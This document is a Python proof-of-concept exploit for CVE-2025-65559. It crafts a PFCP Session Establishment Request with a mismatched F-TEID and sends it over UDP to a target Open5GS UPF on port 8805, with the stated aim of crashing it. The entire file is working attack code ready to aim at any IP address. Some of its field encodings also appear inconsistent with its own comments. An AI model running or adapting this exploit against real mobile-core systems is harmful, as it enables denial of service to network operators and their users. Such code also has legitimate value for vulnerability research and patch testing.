import socket
import struct
# PFCP Header Structure
# Version (3 bits) | Flags (3 bits) | Message Type (8 bits) | Length (32 bits)
def build_pfcp_header(msg_type, length, sequence=1):
version_flags = (1 << 5) | (0 << 4) | (0 << 3) # Version=1, S=0, MP=0
header = struct.pack('!BBHI', version_flags, msg_type, length, sequence)
return header
def build_f_teid_with_ch(ipv4_flag=1, ipv6_flag=0, choose_id=0, teid=0, ipv4_addr='10.0.0.1'):
# F-TEID IE: Type=84, Length variable
ie_type = 84
flags = (1 << 7) | (ipv4_flag << 5) | (ipv6_flag << 4) # CH=1, V6, V4 flags
if ipv4_flag:
addr_bytes = socket.inet_aton(ipv4_addr)
elif ipv6_flag:
addr_bytes = socket.inet_pton(socket.AF_INET6, '::1')
else:
addr_bytes = b''
# F-TEID structure: Flags(1) + TEID(4) + Choose ID(4) + IPv4(4) or IPv6(16)
f_teid_data = bytes([flags]) + struct.pack('!I', teid) + struct.pack('!I', choose_id) + addr_bytes
ie_data = struct.pack('!HH', ie_type, len(f_teid_data)) + f_teid_data
return ie_data
def build_create_pdr_with_mismatched_teid():
# Create PDR IE: Type=1
pdr_ie_type = 1
# PDI IE: Type=2
pdi_ie_type = 2
# Build F-TEID with CH=1 but mismatched address family
# Set CH=1, IPv4 flag=1, but the DNN expects IPv6 - triggers assertion
f_teid_ie = build_f_teid_with_ch(ipv4_flag=1, ipv6_flag=0, choose_id=1, ipv4_addr='192.168.1.1')
pdi_content = f_teid_ie
pdi_ie = struct.pack('!HH', pdi_ie_type, len(pdi_content)) + pdi_content
pdr_content = pdi_ie
pdr_ie = struct.pack('!HH', pdr_ie_type, len(pdr_content)) + pdr_content
return pdr_ie
def exploit_cve_2025_65559(target_ip, target_port=8805):
"""
PoC for CVE-2025-65559: Open5GS UPF crash via PFCP Session Establishment
Sends a malicious PFCP Session Establishment Request with mismatched F-TEID
"""
# PFCP Session Establishment Request (Type=50)
msg_type = 50
# Build Create PDR with PDI containing mismatched F-TEID
create_pdr = build_create_pdr_with_mismatched_teid()
# Node ID IE: Type=132
node_id = b'\x84\x00\x00\x0b' + b'\x00\x00\x00\x01' + socket.inet_aton('127.0.0.1')
# F-SEID IE: Type=19 (for SEID establishment)
f_seid = b'\x13\x00\x00\x09' + b'\x00\x00\x00\x00\x00\x00\x00\x01' + socket.inet_aton('127.0.0.1')
# Combine all IEs
ie_data = create_pdr + node_id + f_seid
# Build PFCP header with total length
total_length = len(ie_data) + 4 # +4 for SEID
header = build_pfcp_header(msg_type, total_length)
# Full message
message = header + ie_data
# Send to UPF
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(message, (target_ip, target_port))
print(f'[+] Sent malicious PFCP Session Establishment Request to {target_ip}:{target_port}')
print(f'[+] Payload length: {len(message)} bytes')
print('[+] Expected result: UPF assertion failure and crash')
sock.close()
if __name__ == '__main__':
import sys
target = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1'
exploit_cve_2025_65559(target)